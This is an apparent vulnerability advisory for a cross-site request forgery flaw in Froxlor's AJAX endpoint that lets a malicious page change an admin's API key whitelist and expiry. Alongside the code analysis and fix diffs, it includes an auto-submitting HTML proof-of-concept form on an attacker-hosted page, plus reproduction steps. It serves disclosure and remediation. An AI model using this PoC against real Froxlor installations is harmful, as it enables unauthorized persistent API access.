PT-2026-80335 · Packagist · Froxlor/Froxlor
Published
2026-08-18
·
Updated
2026-08-18
CVSS v3.1
6.5
Medium
| Vector | AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N |
Summary
The Froxlor AJAX endpoint (
lib/ajax.php) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (lib/init.php) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone lib/ajax.php endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the allowed from whitelist or extending the valid until expiration).Affected Component
- File:
lib/ajax.php— the AJAX endpoint entry point (bypasseslib/init.php) - File:
lib/Froxlor/Ajax/Ajax.php:66-92—Ajax::handle()(no CSRF check before routing) - File:
lib/Froxlor/Ajax/Ajax.php:257-315—Ajax::editApiKey()(writes to database without CSRF check) - Version: Froxlor 2.3.7 (likely all prior 2.x versions)
Complete Call Chain: Entry Point → Vulnerable Code
Step 1: Entry Point — lib/ajax.php (standalone bootstrap, bypasses lib/init.php)
php
// lib/ajax.php:26-47
namespace Froxlor;
use FroxlorAjaxAjax;
require once dirname( DIR ) . '/vendor/autoload.php';
require once dirname( DIR ) . '/lib/userdata.inc.php';
require once dirname( DIR ) . '/lib/functions.php';
require once dirname( DIR ) . '/lib/tables.inc.php';
// CRITICAL: This file does NOT include lib/init.php
// Therefore: NO CSRF token is checked before processing the request
echo (new Ajax)->handle();Contrast with normal flow: All admin/customer pages (e.g.,
admin customers.php, customer domains.php) do:php
const AREA = 'admin';
require DIR . '/lib/init.php'; // <-- This enforces CSRF at lines 363-369Step 2: Ajax Constructor — Session Created, No CSRF Check
php
// lib/Froxlor/Ajax/Ajax.php:54-61
public function construct()
{
$this->action = Request::any('action'); // <-- User-controlled from GET/POST
$this->theme = Request::any('theme', 'Froxlor');
UI::sendHeaders(); // Starts session, sets security headers
UI::sendSslHeaders(); // HSTS headers
// MISSING: CSRF token validation on POST/PUT/PATCH/DELETE
}Step 3: Ajax::handle() — Session Validation Only, Routes to Action
php
// lib/Froxlor/Ajax/Ajax.php:66-92
public function handle()
{
$this->userinfo = $this->getValidatedSession(); // Only checks: isset($ SESSION['userinfo'])
// MISSING: CSRF token validation before routing
// Comparison: init.php lines 363-369 WOULD check here:
// if (in array($ SERVER['REQUEST METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
// $current token = Request::post('csrf token', ...);
// if ($current token != CurrentUser::getField('csrf token')) { ERROR; }
// }
switch ($this->action) {
case 'editapikey':
return $this->editApiKey(); // <-- State-changing operation, no CSRF guard
case 'updatetablelisting':
return $this->updateTablelisting(); // <-- Also POST, also no CSRF
// ... other cases
}
}Step 4: getValidatedSession() — Only Checks Session Exists
php
// lib/Froxlor/Ajax/Ajax.php:97-103
private function getValidatedSession(): array
{
if (CurrentUser::hasSession() == false) {
throw new Exception("No valid session");
}
return CurrentUser::getData();
// hasSession() implementation (CurrentUser.php:47-50):
// return !empty($ SESSION) && !empty($ SESSION['userinfo']);
// This ONLY verifies a session exists.
// It does NOT verify the request origin or CSRF token.
}Step 5: editApiKey() — Database Mutation Without Origin Validation
php
// lib/Froxlor/Ajax/Ajax.php:257-315
private function editApiKey()
{
// All three parameters come from attacker-controlled POST body:
$keyid = Request::post('id', 0); // Source: $ POST['id']
$allowed from = Request::post('allowed from', ""); // Source: $ POST['allowed from']
$valid until = Request::post('valid until', ""); // Source: $ POST['valid until']
// ... IP format validation (not security-relevant for CSRF) ...
// SINK: Direct database mutation
$upd stmt = Database::prepare("
UPDATE `api keys` SET
`valid until` = :vu, `allowed from` = :af
WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid
");
Database::pexecute($upd stmt, [
'keyid' => $keyid,
'af' => $allowed from, // Attacker's IP written here
'vu' => $valid until db, // -1 = never expires
'aid' => $this->userinfo['adminid'],
'cid' => $cid
]);
return $this->jsonResponse(['allowed from' => $allowed from, 'valid until' => $valid until]);
}Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage
javascript
// templates/Froxlor/assets/js/jquery/apikeys.js:9-17
// Even the legitimate frontend does NOT send a csrf token:
$.ajax({
url: "lib/ajax.php?action=editapikey",
type: "POST",
dataType: "json",
data: {
id: akid,
allowed from: this.val(),
valid until: $('div[data-entry="' + akid + '"] #valid until').val()
// NOTE: No csrf token field here — the backend doesn't require it
},
// ...
});This confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.
CSRF Protection Gap: Side-by-Side Comparison
| Aspect | lib/init.php (Normal Pages) | lib/ajax.php (AJAX Endpoint) |
|---|---|---|
| Includes init.php | Yes (all admin *.php, customer *.php) | No — standalone bootstrap |
| Session validation | ✅ CurrentUser::hasSession() | ✅ CurrentUser::hasSession() |
| CSRF token generation | ✅ Froxlor::genSessionId(20) | ❌ Not generated |
| CSRF token check (POST/PUT/PATCH/DELETE) | ✅ Lines 363-369 | ❌ Missing entirely |
| Rate limiting | ✅ RateLimiter::run() | ❌ Not called |
| Area enforcement | ✅ Admin/Customer area check | ❌ Not enforced |
Vulnerability Verification
Attack Path (Complete)
[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html
<form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey"
method="POST">
<input type="hidden" name="id" value="1">
<input type="hidden" name="allowed from" value="ATTACKER IP">
<input type="hidden" name="valid until" value="-1">
</form>
<script>document.getElementById('csrf').submit();</script>
│
▼
[Victim] Froxlor administrator browses to https://attacker.com/csrf.html
- Victim has an active session at https://froxlor.example.com
- Session cookie: PHPSESSID=<valid>, SameSite=Lax
│
▼
[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey
- Cookie behavior depends on SameSite policy (see below)
│
▼
[Server: lib/ajax.php]
→ require userdata.inc.php, functions.php, tables.inc.php
→ (new Ajax)->handle()
│
▼
[Server: Ajax:: construct()] (Ajax.php:54-61)
→ $this->action = 'editapikey' (from GET query string)
→ UI::sendHeaders() → session start()
→ NO CSRF CHECK
│
▼
[Server: Ajax::handle()] (Ajax.php:66-68)
→ getValidatedSession() → CurrentUser::hasSession() → TRUE
(session cookie was sent with request)
→ NO CSRF CHECK before routing
│
▼
[Server: Ajax::editApiKey()] (Ajax.php:257-315)
→ $keyid = 1 (from POST)
→ $allowed from = 'ATTACKER IP' (from POST)
→ $valid until db = -1 (from POST, parsed)
→ UPDATE api keys SET allowed from='ATTACKER IP', valid until=-1 WHERE id=1
│
▼
[Impact] API key #1 now allows connections from ATTACKER IP, never expiresSameSite=Lax Analysis
Froxlor sets session cookie with
SameSite=Lax (UI.php:124):php
// lib/Froxlor/UI/Panel/UI.php:118-125
session set cookie params([
'path' => '/',
'domain' => self::getCookieHost(),
'secure' => self::requestIsHttps(), // FALSE on HTTP deployments
'httponly' => true,
'samesite' => 'Lax'
]);
session start();Why SameSite=Lax is NOT a complete mitigation:
-
HTTP deployments: When
requestIsHttps()returns false (plain HTTP), thesecureflag is false. Many browsers (particularly older Safari and Firefox) requireSecurefor strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario. -
Safari browser: Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.
-
Same-site subdomain attacks: If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely.
-
Defense-in-depth failure: CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).
Confirmed Vulnerable Actions in Ajax::handle()
All POST-based actions in the switch statement lack CSRF protection:
| Action | Method | State Change | Risk |
|---|---|---|---|
editapikey | POST | UPDATE api keys SET allowed from, valid until | HIGH |
updatetablelisting | POST | UPDATE panel usercolumns (user preferences) | Low |
getConfigDetails | POST | Read-only (config parsing) | None |
Impact
- Confidentiality: None — the attacker cannot directly read data through this CSRF vector
- Integrity: Medium — API key properties (
allowed from,valid until) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage). - Availability: Low — the attacker could set
valid untilto a past timestamp, disabling the API key
Worst-case scenario: An administrator-level API key has its
allowed from expanded to include the attacker's IP and its valid until set to -1 (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.Proof of Concept
PoC HTML File
html
<!-- csrf poc.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC - Froxlor AJAX Endpoint</title>
</head>
<body>
<h1>Cross-Site Request Forgery Proof of Concept</h1>
<p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p>
<p>If you see this page, the form has auto-submitted.</p>
<!-- This form auto-submits to modify API key properties -->
<form id="csrf-form"
action="http://froxlor.example.com/lib/ajax.php?action=editapikey"
method="POST">
<input type="hidden" name="id" value="1">
<input type="hidden" name="allowed from" value="10.99.99.99">
<input type="hidden" name="valid until" value="">
<!-- empty valid until = -1 (never expires) -->
</form>
<script>
// Auto-submit on page load
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('csrf-form').submit();
});
</script>
</body>
</html>Reproduction Steps
- Setup:
- Deploy Froxlor 2.3.7 on a test server (e.g.,
http://192.168.1.100/) - Create an administrator account and log in
- Create at least one API key (Settings → API Keys)
- Prepare PoC:
- Host the PoC HTML file on a different origin (e.g.,
http://attacker.local/csrf poc.html) - Note the Froxlor server is on
http://(not HTTPS, common for internal deployments)
- Execute:
- Ensure the Froxlor administrator has an active session
- Open the PoC HTML file in the same browser (different tab)
- The form auto-submits
- Verify:
- Check the API key in the Froxlor admin panel
- The
allowed fromfield now contains10.99.99.99 - The
valid untilfield shows no expiration - Or verify directly:
SELECT id, allowed from, valid until FROM api keys WHERE id=1;
Expected Result
Before attack:
id | allowed from | valid until
1 | | 1735689600After attack:
id | allowed from | valid until
1 | 10.99.99.99 | -1Root Cause
The
lib/ajax.php endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include lib/init.php, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.Architecturally, there are two security enforcement paths:
- Normal pages:
admin *.php→require lib/init.php→ CSRF check ✅ - AJAX endpoint:
lib/ajax.php→new Ajax()->handle()→ CSRF check ❌
The
Ajax class performs its own session validation (getValidatedSession()) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (apikeys.js) also does not send a CSRF token because the backend does not require one.Fix Recommendation
Option A (Recommended): Route AJAX Through init.php
Refactor
lib/ajax.php to use the standard bootstrap, ensuring all security controls apply uniformly:php
// lib/ajax.php — Refactored
const AREA = 'ajax';
require DIR . '/init.php';
use FroxlorAjaxAjax;
try {
echo (new Ajax)->handle();
} catch (Exception $e) {
header("Content-Type: application/json");
echo FroxlorApiResponse::jsonErrorResponse($e->getMessage(), 500);
}Pros: All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication.
Cons: Requires frontend changes to include CSRF token in AJAX requests.
Option B (Minimal): Add CSRF Check to Ajax Class
Add CSRF token validation directly in the
Ajax class:diff
// lib/Froxlor/Ajax/Ajax.php
public function handle()
{
$this->userinfo = $this->getValidatedSession();
+ // CSRF Protection — mirror init.php:363-369
+ if (in array($ SERVER['REQUEST METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
+ $token from request = Request::post('csrf token',
+ $ SERVER['HTTP X CSRF TOKEN'] ?? null);
+ $stored token = $this->userinfo['csrf token'] ?? '';
+ if (empty($token from request) || !hash equals($stored token, $token from request)) {
+ return $this->errorResponse('CSRF validation failed', 403);
+ }
+ }
switch ($this->action) {
// ... existing cases unchanged
}
}Frontend changes required (for both options):
diff
// templates/Froxlor/assets/js/jquery/apikeys.js
$.ajax({
url: "lib/ajax.php?action=editapikey",
type: "POST",
dataType: "json",
data: {
id: akid,
allowed from: this.val(),
valid until: $('div[data-entry="' + akid + '"] #valid until').val(),
+ csrf token: $('meta[name="csrf-token"]').attr('content')
},
// ...
});CSRF Token Available in Twig Templates
The CSRF token is already available as a Twig global variable (
{{ csrf token }}) set in init.php:361. Templates can expose it via:html
<meta name="csrf-token" content="{{ csrf token }}">Fix
CSRF
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Froxlor/Froxlor